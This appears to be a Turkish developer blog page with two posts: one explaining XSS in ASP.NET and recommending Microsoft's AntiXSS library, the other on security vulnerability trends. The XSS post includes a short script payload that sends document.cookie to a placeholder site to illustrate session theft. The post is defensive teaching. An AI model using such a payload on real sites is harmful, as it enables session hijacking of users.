Son yıllarda önemini güvenlik bültenlerinde üst sıralara taşıyan bir güvenlik problemi olan XSS, istatistiklerde de %39’luk bir paya sahiptir. En sık rastlanan problemlerden biri olması nedeniyle kötü niyetli kişilerin ilk uğraştıkları hedef noktalardan biri haline geliyor. XSS,uygulamalarımızda veri girişi yapılan noktalarda iyi denetim yapılamamasından dolayı oluşuyor.

Kullanıcı tarafından girilen değerler herhangi bir filtrelemeden geçmeden direk işleme konulduğu takdirde HTML ve JavaScript tabanlı kod yapıları aktif olarak uygulamamızı negatif yönde tetikleyebiliyor.

XSS ataklarına karşı en etkili çözüm yollarından biri girdi değerlerinin filtrelenmesidir. Filtrelenmiş değerler uygulamanızda belirlediğiniz alana ne tür girdilerin olacağına karar vermeniz ile doğru orantılıdır. Bir TC Kimlik numarası girdisi yapacağınız noktada harf ve diğer sembollerin girişini engellemeniz uygulamanızı bir kat daha güvende kılacaktır.

Web uygulamalarınızda kullanıcılarınızın oturum bilgilerinin güvenliği XSS ataklarının olduğu noktalarda çalınması mümkündür.

<script>

document.location='http://www.site.com/yaz.aspx?a='+document.cookie

</script>

Gördüğünüz javascript kodu vasıtasıyla kullanıcılarınıza ait oturum bilgileri saldırganın belirlediği web sitesine kayıt edilebiliyor.ASP.NET uygulamalarında diğer yazılım dillerine oranla default olarak “<” ve “>”  karakterlerinin “Potansiyel Tehlikeli Bilgi” olarak algılanması uygulamanın güvenliği riske atmıyor.

Uygulamalarımızda özellikle kullanıcı arayüzü olan noktalarda tercih edilen gelişmiş metin editörleriyle birlikte HTML içeriklerinde web sayfamıza yansıtılması gerekenler durumlar oluyor.

Bu durumlarda genellikle ValidateRequest="false" ile birlikte HTML girişlerine izin veriliyor ve bu sebepten dolayı XSS ataklarına maruz kalınması söz konusu olunuyor. Kullanıcıdan alınan bilgi ile oluşturulabilecek JavaScript, VBScript, XML de bu tehlikelere maruz kalabiliyor.

Projelerimizde zararlı içeriklerin temizlenmesi ve pasif kılınması konusundaki en önemli çözümlerden biri Anti-XSS kütüphanesinin kullanımıdır. AntiXSSLibrary.dll dosyamızı projemize referans ettikten sonra filtreleme işlemlerini kolaylıkla gerçekleştirebilirsiniz.

 

Microsoft.Application.Security.AntiXSS namespace’inden ulaşabileceğimiz 7 adet static metot ile XSS saldırıların önüne geçebiliriz.

Bu metotlar :

  • HtmlEncode
  • HtmlAttributeEncode
  • JavaScriptEncode
  • UrlEncode
  • VisualBasicScriptEncode
  • XmlEncode
  • XmlAttributeEncode

TextBox1.Text tarafından girilen değerleri Anti-XSS filtresinden geçirmek için benzer bir yapıyı kullanabiliriz.

string mystring = Microsoft.Security.Application.AntiXss.JavaScriptEncode(TextBox1.Text, false) ;

Uygulamalarınızın güvenliğini Anti-XSS kütüphanesine dahil olarak izleyeceğiniz politikalar ile güçlendirebilirsiniz. Request Validation özelliğine her noktada güvenmemeniz ve mümkün olduğunca uygulamalarınızda Anti-XSS kütüphanesini kullanmanız güvenliğiniz için önemli derece yarar sağlayacaktır.

AntiXSS Library Download

Digg It!DZone It!StumbleUponTechnoratiRedditDel.icio.usNewsVineFurlBlinkList

Güvenlik Zaafiyetleri ve Son Trendler

5 May 2010 In: Güvenlik

Günümüz teknolojisinde uygulamaların güvenliği hem yazılım hem de sistem tarafında eşit güvenlik ölçütlerinde olduğu takdirde güvenlidir diyebiliriz. Uygulamanın mimari yapısı ve erişim yelpazesi dahilinde değerlendirildiğinde .NET ile yazılım geliştirenlerin diğer dillere göre işlerinin biraz daha kolay olduğundan söz edebiliriz.

Güvenlik bültenlerinde yazılım metodolojilerine yönelik son istatistikler geçtiğimiz günlerde açıklandı. İstatistiklere göz attığımızda önceki yıllara oranla pozitif yönde bir gelişme gösterildiğini söyleyebiliriz. Temel güvenlik problemleri konusundaki bilinçlenme gün geçtikçe hızla artış gösterirken ,güvenli filtreleme yapılmayan uygulamalardan doğan güvenlik sorunları yine ilk sıradaki yerini koruyor.

En sık rastlana güvenlik problemlerinin yüzdelik dağılımı grafikte verilmiştir. Bu doğrultuda SQL Injection konusundaki bilinçlenme dikkatimizi çekiyor. Önceki yıllarda daha üst sıralarda olan bu problemimiz son istatistiklere göre önceki yıllara göre önemini büyük ölçüde yitirmiş bulunuyor.

Temel güvenlik zaafiyetlerinin ilk sıralarına göz attığımızda yazılımcıların verileri herhangi bir güvenlik filtresinden geçirmeden direk işleme dahil etmesinden dolayı oluşan problemlerden oluşuyor. Bunlara ek olarak önemli sayılabilecek erişim dosyalarının da 3. şahıslar tarafından erişilebilir durumda olmasından dolayı oluşan zaafiyetler de önemini koruyor.

Güvenlik problemlerinin .NET tarafındaki çözümlerine bu istatistikleri de dahil ettiğimizde ortaya belli başlı konu başlıkları çıkıyor. Güvenlik problemlerini yakından incelerken yazılımcılar tarafından en çok karıştırılan noktalardan biri de belli başlı bir problemler üzerindeki çözümlerin gerçek bir çözüm mü yoksa derinlemesine bir savunma stratejisimi olduğu hakkında karar verilmesidir.

Şüphesiz ki .NET uygulamaları geliştirirken framework tabanlı olarak üretilen çözümler her zaman kesin bir çözüm olamıyor. Bu noktada dikkat etmemiz gereken noktalar nerelerde derinlemesine savunma oluşturacağımız ve ne gibi noktalarda ise kesin çözümler üreteceğimiz konusunda doğru karar vermeye dikkat etmemizdir.

 

 

Digg It!DZone It!StumbleUponTechnoratiRedditDel.icio.usNewsVineFurlBlinkList

Blog'dan

Biraz yazılım,biraz güvenlik,biraz da hayattan karalamalar ...


İletişim: ok@olcaykuk.com

Merak ettiklerini haydi sor :)